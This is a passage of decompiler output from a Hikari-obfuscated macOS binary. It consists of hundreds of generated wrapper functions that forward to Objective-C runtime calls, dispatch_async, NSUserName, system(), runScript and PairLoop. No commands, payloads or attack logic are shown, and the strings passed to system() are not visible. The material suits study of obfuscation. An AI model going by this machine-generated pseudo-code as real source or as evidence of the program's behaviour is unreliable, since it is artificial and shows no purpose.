return objc_msgSend(a1, a2);
}
//----- (0000000100225040) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19135(void *a1, const char *a2)
{
return HikariFunctionWrapper_19134(a1, a2);
}
//----- (0000000100225050) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19136(void *a1, const void *a2, int a3)
{
_Block_object_assign(a1, a2, a3);
}
//----- (0000000100225060) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19137(void *a1, const void *a2, int a3)
{
HikariFunctionWrapper_19136(a1, a2, a3);
}
//----- (0000000100225070) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19138(const void *a1, int a2)
{
_Block_object_dispose(a1, a2);
}
//----- (0000000100225080) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19139(const void *a1, int a2)
{
HikariFunctionWrapper_19138(a1, a2);
}
//----- (0000000100225090) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19140(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002250A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19141(void *a1, const char *a2)
{
return HikariFunctionWrapper_19140(a1, a2);
}
//----- (00000001002250B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19142(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002250C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19143(void *a1, const char *a2)
{
return HikariFunctionWrapper_19142(a1, a2);
}
//----- (00000001002250D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19144(objc_class *a1)
{
return objc_alloc(a1);
}
//----- (00000001002250E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19145(objc_class *a1)
{
return HikariFunctionWrapper_19144(a1);
}
//----- (00000001002250F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19146(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225100) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19147(void *a1, const char *a2)
{
return HikariFunctionWrapper_19146(a1, a2);
}
//----- (0000000100225110) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19148(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225120) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19149(void *a1, const char *a2)
{
return HikariFunctionWrapper_19148(a1, a2);
}
//----- (0000000100225130) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19150(objc_class *a1)
{
return objc_alloc(a1);
}
//----- (0000000100225140) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19151(objc_class *a1)
{
return HikariFunctionWrapper_19150(a1);
}
//----- (0000000100225150) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19152(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225160) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19153(void *a1, const char *a2)
{
return HikariFunctionWrapper_19152(a1, a2);
}
//----- (0000000100225170) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19154(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100225180) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19155(void *a1, const char *a2)
{
HikariFunctionWrapper_19154(a1, a2);
}
//----- (0000000100225190) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19156(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002251A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19157(void *a1, const char *a2)
{
return HikariFunctionWrapper_19156(a1, a2);
}
//----- (00000001002251B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19158(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002251C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19159(void *a1, const char *a2)
{
return HikariFunctionWrapper_19158(a1, a2);
}
//----- (00000001002251D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19160(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002251E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19161(void *a1, const char *a2)
{
return HikariFunctionWrapper_19160(a1, a2);
}
//----- (00000001002251F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19162(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225200) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19163(void *a1, const char *a2)
{
return HikariFunctionWrapper_19162(a1, a2);
}
//----- (0000000100225210) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19164(void *a1)
{
return objc_begin_catch(a1);
}
//----- (0000000100225220) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19165(void *a1)
{
return HikariFunctionWrapper_19164(a1);
}
//----- (0000000100225230) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19166()
{
objc_end_catch();
}
//----- (0000000100225240) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19167()
{
HikariFunctionWrapper_19166();
}
//----- (0000000100225250) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19168(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225260) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19169(void *a1, const char *a2)
{
return HikariFunctionWrapper_19168(a1, a2);
}
//----- (0000000100225270) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19170(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225280) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19171(void *a1, const char *a2)
{
return HikariFunctionWrapper_19170(a1, a2);
}
//----- (0000000100225290) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19172(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001002252A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19173(void *a1, const char *a2)
{
HikariFunctionWrapper_19172(a1, a2);
}
//----- (00000001002252B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19174(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002252C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19175(void *a1, const char *a2)
{
return HikariFunctionWrapper_19174(a1, a2);
}
//----- (00000001002252D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19176(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002252E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19177(void *a1, const char *a2)
{
return HikariFunctionWrapper_19176(a1, a2);
}
//----- (00000001002252F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19178(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225300) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19179(void *a1, const char *a2)
{
return HikariFunctionWrapper_19178(a1, a2);
}
//----- (0000000100225310) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19180(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225320) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19181(void *a1, const char *a2)
{
return HikariFunctionWrapper_19180(a1, a2);
}
//----- (0000000100225330) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19182(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225340) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19183(void *a1, const char *a2)
{
return HikariFunctionWrapper_19182(a1, a2);
}
//----- (0000000100225350) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19184(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225360) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19185(void *a1, const char *a2)
{
return HikariFunctionWrapper_19184(a1, a2);
}
//----- (0000000100225370) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19186(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225380) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19187(void *a1, const char *a2)
{
return HikariFunctionWrapper_19186(a1, a2);
}
//----- (0000000100225390) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19188(void *a1)
{
runScript(a1);
}
//----- (00000001002253A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19189(void *a1)
{
HikariFunctionWrapper_19188(a1);
}
//----- (00000001002253B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19190(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002253C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19191(void *a1, const char *a2)
{
return HikariFunctionWrapper_19190(a1, a2);
}
//----- (00000001002253D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19192(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001002253E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19193(void *a1, const char *a2)
{
HikariFunctionWrapper_19192(a1, a2);
}
//----- (00000001002253F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19194(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100225400) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19195(void *a1, const char *a2)
{
HikariFunctionWrapper_19194(a1, a2);
}
//----- (0000000100225410) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19196(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225420) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19197(void *a1, const char *a2)
{
return HikariFunctionWrapper_19196(a1, a2);
}
//----- (0000000100225430) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19198(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225440) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19199(void *a1, const char *a2)
{
return HikariFunctionWrapper_19198(a1, a2);
}
//----- (0000000100225450) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19200(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100225460) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19201(void *a1, const char *a2)
{
HikariFunctionWrapper_19200(a1, a2);
}
//----- (0000000100225470) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19202(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225480) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19203(void *a1, const char *a2)
{
return HikariFunctionWrapper_19202(a1, a2);
}
//----- (0000000100225490) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19204(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002254A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19205(void *a1, const char *a2)
{
return HikariFunctionWrapper_19204(a1, a2);
}
//----- (00000001002254B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19206(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002254C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19207(void *a1, const char *a2)
{
return HikariFunctionWrapper_19206(a1, a2);
}
//----- (00000001002254D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19208(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001002254E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19209(void *a1, const char *a2)
{
HikariFunctionWrapper_19208(a1, a2);
}
//----- (00000001002254F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19210(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100225500) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19211(void *a1, const char *a2)
{
HikariFunctionWrapper_19210(a1, a2);
}
//----- (0000000100225510) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19212(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100225520) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19213(void *a1, const char *a2)
{
HikariFunctionWrapper_19212(a1, a2);
}
//----- (0000000100225530) ----------------------------------------------------
dispatch_queue_global_t __fastcall HikariFunctionWrapper_19214(intptr_t a1, uintptr_t a2)
{
return dispatch_get_global_queue(a1, a2);
}
//----- (0000000100225540) ----------------------------------------------------
dispatch_queue_global_t __fastcall HikariFunctionWrapper_19215(intptr_t a1, uintptr_t a2)
{
return HikariFunctionWrapper_19214(a1, a2);
}
//----- (0000000100225550) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_19216(const char *a1)
{
return system(a1);
}
//----- (0000000100225560) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_19217(const char *a1)
{
return HikariFunctionWrapper_19216(a1);
}
//----- (0000000100225570) ----------------------------------------------------
char HikariFunctionWrapper_19218()
{
return PairLoop();
}
//----- (0000000100225580) ----------------------------------------------------
char HikariFunctionWrapper_19219()
{
return HikariFunctionWrapper_19218();
}
//----- (0000000100225590) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_19220(const char *a1)
{
return system(a1);
}
//----- (00000001002255A0) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_19221(const char *a1)
{
return HikariFunctionWrapper_19220(a1);
}
//----- (00000001002255B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19222(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001002255C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19223(void *a1, const char *a2)
{
HikariFunctionWrapper_19222(a1, a2);
}
//----- (00000001002255D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19224(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001002255E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19225(void *a1, const char *a2)
{
HikariFunctionWrapper_19224(a1, a2);
}
//----- (00000001002255F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19226(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100225600) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19227(void *a1, const char *a2)
{
HikariFunctionWrapper_19226(a1, a2);
}
//----- (0000000100225610) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19228(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100225620) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19229(void *a1, const char *a2)
{
HikariFunctionWrapper_19228(a1, a2);
}
//----- (0000000100225630) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19230(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100225640) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19231(void *a1, const char *a2)
{
HikariFunctionWrapper_19230(a1, a2);
}
//----- (0000000100225650) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19232(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100225660) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19233(void *a1, const char *a2)
{
HikariFunctionWrapper_19232(a1, a2);
}
//----- (0000000100225670) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19234(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100225680) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19235(void *a1, const char *a2)
{
HikariFunctionWrapper_19234(a1, a2);
}
//----- (0000000100225690) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19236(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001002256A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19237(void *a1, const char *a2)
{
HikariFunctionWrapper_19236(a1, a2);
}
//----- (00000001002256B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19238(dispatch_queue_s *a1, void *a2)
{
dispatch_async(a1, a2);
}
//----- (00000001002256C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19239(dispatch_queue_s *a1, void *a2)
{
HikariFunctionWrapper_19238(a1, a2);
}
//----- (00000001002256D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19240(dispatch_queue_s *a1, void *a2)
{
dispatch_async(a1, a2);
}
//----- (00000001002256E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19241(dispatch_queue_s *a1, void *a2)
{
HikariFunctionWrapper_19240(a1, a2);
}
//----- (00000001002256F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19242(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100225700) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19243(void *a1, const char *a2)
{
HikariFunctionWrapper_19242(a1, a2);
}
//----- (0000000100225710) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19244(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100225720) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19245(void *a1, const char *a2)
{
HikariFunctionWrapper_19244(a1, a2);
}
//----- (0000000100225730) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19246(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100225740) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19247(void *a1, const char *a2)
{
HikariFunctionWrapper_19246(a1, a2);
}
//----- (0000000100225750) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19248(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100225760) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19249(void *a1, const char *a2)
{
HikariFunctionWrapper_19248(a1, a2);
}
//----- (0000000100225770) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19250(dispatch_queue_s *a1, void *a2)
{
dispatch_async(a1, a2);
}
//----- (0000000100225780) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19251(dispatch_queue_s *a1, void *a2)
{
HikariFunctionWrapper_19250(a1, a2);
}
//----- (0000000100225790) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19252(dispatch_queue_s *a1, void *a2)
{
dispatch_async(a1, a2);
}
//----- (00000001002257A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19253(dispatch_queue_s *a1, void *a2)
{
HikariFunctionWrapper_19252(a1, a2);
}
//----- (00000001002257B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19254(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001002257C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19255(void *a1, const char *a2)
{
HikariFunctionWrapper_19254(a1, a2);
}
//----- (00000001002257D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19256(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001002257E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19257(void *a1, const char *a2)
{
HikariFunctionWrapper_19256(a1, a2);
}
//----- (00000001002257F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19258(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100225800) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19259(void *a1, const char *a2)
{
HikariFunctionWrapper_19258(a1, a2);
}
//----- (0000000100225810) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19260(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100225820) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19261(void *a1, const char *a2)
{
HikariFunctionWrapper_19260(a1, a2);
}
//----- (0000000100225830) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19262(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225840) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19263(void *a1, const char *a2)
{
return HikariFunctionWrapper_19262(a1, a2);
}
//----- (0000000100225850) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19264(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225860) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19265(void *a1, const char *a2)
{
return HikariFunctionWrapper_19264(a1, a2);
}
//----- (0000000100225870) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19266(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225880) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19267(void *a1, const char *a2)
{
return HikariFunctionWrapper_19266(a1, a2);
}
//----- (0000000100225890) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19268(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002258A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19269(void *a1, const char *a2)
{
return HikariFunctionWrapper_19268(a1, a2);
}
//----- (00000001002258B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19270(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002258C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19271(void *a1, const char *a2)
{
return HikariFunctionWrapper_19270(a1, a2);
}
//----- (00000001002258D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19272(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002258E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19273(void *a1, const char *a2)
{
return HikariFunctionWrapper_19272(a1, a2);
}
//----- (00000001002258F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19274(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225900) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19275(void *a1, const char *a2)
{
return HikariFunctionWrapper_19274(a1, a2);
}
//----- (0000000100225910) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19276(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225920) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19277(void *a1, const char *a2)
{
return HikariFunctionWrapper_19276(a1, a2);
}
//----- (0000000100225930) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19278(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100225940) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19279(void *a1, const char *a2)
{
HikariFunctionWrapper_19278(a1, a2);
}
//----- (0000000100225950) ----------------------------------------------------
NSString *HikariFunctionWrapper_19280()
{
return NSUserName();
}
//----- (0000000100225960) ----------------------------------------------------
NSString *HikariFunctionWrapper_19281()
{
return HikariFunctionWrapper_19280();
}
//----- (0000000100225970) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19282(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225980) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19283(void *a1, const char *a2)
{
return HikariFunctionWrapper_19282(a1, a2);
}
//----- (0000000100225990) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19284(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001002259A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19285(void *a1, const char *a2)
{
HikariFunctionWrapper_19284(a1, a2);
}
//----- (00000001002259B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19286(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002259C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19287(void *a1, const char *a2)
{
return HikariFunctionWrapper_19286(a1, a2);
}
//----- (00000001002259D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19288(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001002259E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19289(void *a1, const char *a2)
{
return HikariFunctionWrapper_19288(a1, a2);
}
//----- (00000001002259F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19290(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100225A00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_19291(void *a1, const char *a2)
{
return HikariFunctionWrapper_19290(a1, a2);
}
//----- (0000000100225A10) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19292(dispatch_once_t *a1, void *a2)
{
dispatch_once(a1, a2);
}
//----- (0000000100225A20) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19293(dispatch_once_t *a1, void *a2)
{
HikariFunctionWrapper_19292(a1, a2);
}
//----- (0000000100225A30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19294(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100225A40) ----------------------------------------------------
